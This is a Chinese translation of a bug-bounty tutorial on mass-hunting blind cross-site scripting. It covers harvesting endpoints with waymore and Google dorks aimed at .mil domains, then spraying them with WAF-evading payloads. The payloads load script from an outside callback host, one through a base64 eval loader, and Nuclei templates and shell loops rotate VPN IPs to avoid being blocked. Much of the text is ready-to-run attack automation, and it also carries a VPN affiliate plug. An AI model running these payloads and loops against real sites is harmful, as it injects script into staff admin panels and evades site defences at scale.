在本文中,我将揭示大规模检测盲目跨站脚本的技术。我们将深入研究用于绕过 WAF 的 Blind XSS 有效负载、GitHub 的开源工具和方法。其中大部分部分可以自动化,但请记住,手动测试通常可以给出更方便的结果!
这是Mass Hunting for BXSS – 初始设置文章的延续。如果您尚未设置 BXSS 服务器,请务必先设置。不要错过上一篇指南中分享的宝贵提示!
准备端点列表
为了有效地寻找盲目跨站脚本,了解这些漏洞通常发生的位置至关重要。识别处理用户输入的点是成功的关键。众所周知,Blind XSS 的常见接收点是员工的管理面板。在考虑要在何处喷射 BXSS 有效负载时,请尝试考虑该员工希望在某个时刻检查的数据。我会给你一些例子,让事情顺利进行:
客户反馈- 寻找客户可以留下评论或反馈的区域,因为这些意见通常由员工审核以改进质量或服务。
像 User-Agent 这样的标头数据——将有效负载注入到 HTTP 标头中,可能会很有效,因为这些数据经常被记录和监控以进行分析或故障排除。这肯定会弹出JS监控员工的功能。
发票/收据生成- 客户可以自定义的发票或收据中使用的字段(如注释或地址)经常被忽视,但会计人员会定期检查。
支持聊天——通过支持或帮助台系统发送的消息是主要焦点,因为支持人员会仔细阅读这些消息。
帐户注册信息– 用户注册表中的字段(例如用户名或个人简介部分)可能是有效负载的战略位置。管理员可以手动查看此信息以进行帐户验证或用户管理。
考虑到这一点,让我们针对特定端点并尝试构建列表。我将介绍两种我通常使用的技术,但当然,可能还有更多方法!
方法#1 –
我已经在有关 XSS 的文章中介绍了使用gau工具和 axiom 。它可以非常快地从web archive、urlscan、Alivault等获取端点。我认为如果您的目标是覆盖范围而不是速度,您也可以尝试waymore。为了简单起见,我将仅展示如何使用此 BXSS 工具收集用于模糊测试的潜在端点。为了扩展它,我建议使用这个工具作为 axiom 模块,因为它非常适合同时针对多个程序。Axiom 在侦察阶段工作得非常好。
首先,克隆 GitHub 存储库并使用 python3 pip 安装依赖项:
git clone https://github.com/xnl-h4ck3r/waymore && cd waymore && pip3 install -r requirements.txt
要运行waymore,请在目标域及其子域上使用 python:
python3 waymore.py -i input.txt -mode U -oU waymore.txt -r 3
要释放此工具的全部潜力,您可以探索这些标志并根据自己的需求对其进行自定义。例如,您可以使用-n标志排除子域,或使用-mode R和-oR output_dir一起获取响应文件。
接下来,我强烈建议过滤掉收集到的端点,以提高发生盲目 XSS 的可能性,如前所述。例如,类似于反馈表单的端点可能包括关键字Feedback、support等:
cat waymore.txt | grep -viE '\.png|\.jpg|\.jpeg|\.css|\.js|\.svg|\.gif' | grep -iE 'feedback|support' | qsreplace FUZZ | sort -u | httpx -t 300 | anew waymore-filtered.txt
具有用户注册过程和登录的端点:
cat waymore.txt | grep -viE '\.png|\.jpg|\.jpeg|\.css|\.js|\.svg|\.gif' | grep -iE 'login|register|auth|sign|account' | qsreplace FUZZ | sort -u | httpx -t 300 | anew waymore-filtered.txt
注意,我这里过滤掉了一些扩展名,只选择了想要的关键字,并且还使用了qsreplace来减少结果数量。最后的 httpx 是为了进一步最小化结果,因为它只留下活动的端点。
方法#2 – Google Dorking
正如我在本文中已经提到的,有多种方法可以加快 Google Hacking 的速度。这些技术非常适合仅从 Google 收集大量 URL。好处是这些 URL 在大多数情况下都是有效的,并且过滤本身是在搜索栏中进行的。我最喜欢的方法是使用 Firefox 插件 – Google Auto Load、FoxScroller和Link Gopher。但在使用它们之前,应该选择一个好的傻瓜。我通常会针对每个特定目标手动执行此操作。
作为示例,我将使用像美国国防部这样的大型目标,因为它的范围内有很多域。让我们将这个特定的 Google Dorking 示例分为几个简单的步骤:
1. 使用 site: target.com keywords -filter -filter2…从顶级域名开始。对于 DoD,顶级域名级别可能是.mil,所以我将从这个开始。作为关键字,我将使用文字反馈,因为它很可能最终出现在员工 CRM/管理面板中。最后,过滤词将附加在末尾,例如,我不希望搜索包含pdf、doc、xls文件,因此我将排除这些文件。最终的搜索将如下所示:
site:mil "feedback form" -pdf -doc -xls
正如您所看到的,有很多结果,但您想在这个兔子洞中挖得更深一些。
2. 检查搜索中可用的子域。请选择其中之一作为二级子项目,例如 – Army.mil。在另一个选项卡上复制您的有效负载,但将site:值替换为您选择的值:
从现在开始,您可以创建新选项卡并尝试在子项或关键字之间切换,甚至附加额外的过滤词。我建议你的谷歌结果不要超过几千。
3. 单击FoxScroller插件并等待浏览器滚动到结果页面的末尾。
4. 使用Link Gopher插件从这个完全加载的 Google 结果页面中提取所有链接。
5. 将收集的端点附加到同一文件中,对尽可能多的呆子重复此操作。您将拥有一个相当不错的用于应用 BXSS 有效负载的端点列表。
6. 现在尝试仅过滤掉您的目标域,因为google.com端点通常并不重要,然后运行httpx:
cat google.txt | grep -Ei '.mil' | httpx | tee google-filtered.txt
测试有效负载
我通常尝试使用 3 种主要方法对收集的列表进行模糊测试:
1# 手动测试
我必须强调的是,这里最成功的方法是手动检查收集的 URL 并将有效负载放入输入字段。有时,使用aquatone截取端点并查看分组结果是一种很好的做法。请记住,此列表不是最终的,在通过 Burp Suite 进行一些身份验证测试时可能会出现一些有趣的端点。
我还想尝试发现是否有一些隐藏的参数。为此,我喜欢使用Arjun。我通常首先用于模糊参数的命令:
arjun -u 'https://target.com/endpoint.php' -c 1000
如果出现一些错误,请尝试增加/减少-c标志值,这意味着每个 HTTP 请求要尝试多少个参数。默认情况下,该工具扫描大约 26k 个常见 HTTP 参数,但如果我想获得更高的覆盖率,您可以尝试assetnote 的 params wordlist:
arjun -u 'https://target.com/endpoint.php' -c 1000 -w ~/wordlists/params.txt
当最终提交 POST HTTP 请求时,我喜欢使用几个 BXSS 有效负载:
`’"><script src=//k0l.uk></script>
`'"></script></title></textarea><script src=//k0l.uk></script>
--></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src="https://k0l.uk"></scrIpt>
`'"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vazBsLnVrIjtkb2N1bWVudC5ib2R5LmFwcGVuZChhKTs='))//
/*'/*`/*--></noscript></title></textarea></style></template></noembed></script>"//'//><scrIpt src="https://k0l.uk"></scrIpt>
请记住,您必须在使用太多 HTML 转义标签和仅使用少量标签之间找到适当的平衡。这仅用于逃避后端系统上潜在的 WAF。有时只有带有src属性的简单<script>标记才起作用,但有时可能存在多层防御。这就是为什么您必须自己尝试不同的有效负载并对XSS 多语言如何工作进行一些研究。
2# 使用XSS框架
如果您正在寻找一些自动化功能或在后台运行某些内容,您可以使用 CLI XSS 扫描程序。有多种工具可供选择,但我推荐Dalfox,因为它提供了盲 XSS 选项。我建议在运行之前过滤掉收集的端点,但测试结果应该是这样的:
cat waymore-filtered.txt google-filtered.txt | qsreplace FUZZ | dalfox pipe -S --waf-evasion --skip-mining-all --skip-headless --mass -b https://k0l.uk -o results.txt
如果您要查找大量 URL,则可能存在一些 WAF 阻止请求。如果我从本地计算机进行测试,我想使用 VPN 服务。我尝试了很多,但最终还是坚持使用NordVPN。它有许多服务器位置,具有许多不同的 IP,您可以在测试时被阻止后轮换。该VPN还有一个CLI版本,这在后台运行一些测试或构建自动化时非常重要。
我喜欢在测试 500 个不同的端点后更改我的 IP。让我们将结果拆分为每个 500 行的文件:
cat waymore-filtered.txt google-filtered.txt > endpoints.txt && split -l 500 endpoints.txt
接下来,让我们使用一个单行程序在测试 500 个端点后切换 IP:
for i in `ls x*`; do nordvpn connect && cat $i | qsreplace FUZZ | dalfox pipe -S --waf-evasion --skip-mining-all --skip-headless --mass -b https://k0l.uk -o results.tmp && cat results.tmp | anew results.txt; done
提示:如果您考虑自己使用 VPN,请远离免费 VPN,因为这些 VPN 可能已被列入 WAF 黑名单,或者运行速度非常慢。相信我,NordVPN在安全测试方面非常方便。只需点击我的链接即可注册,您将获得相当不错的折扣。
此时,有人可能会认为可以使用公理。我不推荐使用 axiom 和 XSS 框架,因为它会产生大量流量!从监控端来看,这可能看起来像是 DDOS 攻击。您的云提供商可能会收到滥用报告,您可能会遇到麻烦!您已收到警告,因此请尽量避免这种情况。
3# 使用细胞核模板
我想尝试的最后一件事是带有自定义模板的Nuclei。该工具通常用于搜索 CVE,但v2.8.0版本引入了 URL 模糊测试选项。我使用前面提到的 BXSS 有效负载制作了一个自定义模板。我建议您自己编辑它,将其替换为您自己的 BXSS 服务器,甚至添加更多有效负载:
id: fuzz-blind-xss
info:
name: Blind Cross Site Scripting
author: otterly
severity: medium
tags: xss,bxss,dast
requests:
- raw:
- |
POST {{Path}} HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
q={{url_encode(payload)}}&s={{url_encode(payload)}}&search={{url_encode(payload)}}&lang={{url_encode(payload)}}&keyword={{url_encode(payload)}}&query={{url_encode(payload)}}&page={{url_encode(payload)}}&keywords={{url_encode(payload)}}&year={{url_encode(payload)}}&view={{url_encode(payload)}}&email={{url_encode(payload)}}&type={{url_encode(payload)}}&name={{url_encode(payload)}}&p={{url_encode(payload)}}&callback={{url_encode(payload)}}&jsonp={{url_encode(payload)}}&api_key={{url_encode(payload)}}&api={{url_encode(payload)}}&password={{url_encode(payload)}}&email={{url_encode(payload)}}&emailto={{url_encode(payload)}}&token={{url_encode(payload)}}&username={{url_encode(payload)}}&csrf_token={{url_encode(payload)}}&unsubscribe_token={{url_encode(payload)}}&id={{url_encode(payload)}}&item={{url_encode(payload)}}&page_id={{url_encode(payload)}}&month={{url_encode(payload)}}&immagine={{url_encode(payload)}}&list_type={{url_encode(payload)}}&url={{url_encode(payload)}}&terms={{url_encode(payload)}}&categoryid={{url_encode(payload)}}&key={{url_encode(payload)}}&l={{url_encode(payload)}}&begindate={{url_encode(payload)}}&enddate={{url_encode(payload)}}
payloads:
payload:
- "`'\"><script src=//k0l.uk></script>"
- "`'\"></script></title></textarea><script src=//k0l.uk></script>"
- "--></tiTle></stYle></texTarea></scrIpt>\"//'//><scrIpt src=\"https://k0l.uk\"></scrIpt>"
- "`'\"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''\"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vazBsLnVrIjtkb2N1bWVudC5ib2R5LmFwcGVuZChhKTs='))//"
- "/*'/*`/*--></noscript></title></textarea></style></template></noembed></script>\"//'//><scrIpt src=\"https://k0l.uk\"></scrIpt>"
此模板用于指定端点的 POST HTTP 请求。我从这个GF XSS 模式中包含了 38 个用于请求正文参数猜测的潜在参数。您可以包含更多参数,但请记住,这可能看起来像 DoS 攻击,因此不要过度使用它!另外,请勿将 axiom 与此模板一起使用,因为它会给服务器带来过多的负载。正如我所提到的,最好的方法是使用NordVPN CLI。现在我建议对更少的端点使用 IP 更改:
rm x* && cat waymore-filtered.txt google-filtered.txt > endpoints.txt && split -l 150 endpoints.txt
最后,为 150 个端点文件中的每一个运行此模板,每次 IP 更改之间有 1 分钟的睡眠时间:
for i in `ls x*`; do nordvpn connect && cat $i | nuclei -t /path/to/fuzz-blind-xss.yaml | anew results.txt; sleep 60; done
我还使用的另一个模板用于已经有一些参数的端点:
id: fuzz-blind-xss-2
info:
name: Blind Cross Site Scripting
author: otterly
severity: medium
tags: xss,bxss,dast
http:
- method: GET
path:
- "{{BaseURL}}"
payloads:
payload:
- "`'\"><script src=//k0l.uk></script>"
- "`'\"></script></title></textarea><script src=//k0l.uk></script>"
- "--></tiTle></stYle></texTarea></scrIpt>\"//'//><scrIpt src=\"https://k0l.uk\"></scrIpt>"
- "`'\"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''\"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vazBsLnVrIjtkb2N1bWVudC5ib2R5LmFwcGVuZChhKTs='))//"
- "/*'/*`/*--></noscript></title></textarea></style></template></noembed></script>\"//'//><scrIpt src=\"https://k0l.uk\"></scrIpt>"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{payload}}"
它将用有效负载替换每个参数并运行单独的请求。让我们尝试对每个 150 个端点文件使用它:
for i in `ls x*`; do nordvpn connect && cat $i | nuclei -t /path/to/fuzz-blind-xss.yaml | anew results.txt; sleep 60; done
最后的话……
针对常见的 Blind XSS 接收器,例如管理面板、客户反馈部分和帐户注册中的用户输入字段。
使用waymore和Google Dorking提取 URL 端点。
手动检查时,使用aquatone进行截图,arjun – 参数猜测。
像Dalfox这样的 XSS 框架可能是自动 XSS 扫描的不错选择。自定义 WAF 规避的有效负载。使用VPN!
核模板可用于对收集的端点进行更有效的模糊测试。不要为此使用公理!Axiom 主要适用于侦察阶段。
这放个原文 - 或者点击阅读原文 里面有些工具是不能超链的:
https://ott3rly.com/hunting-blind-xss-on-the-large-scale-part-2/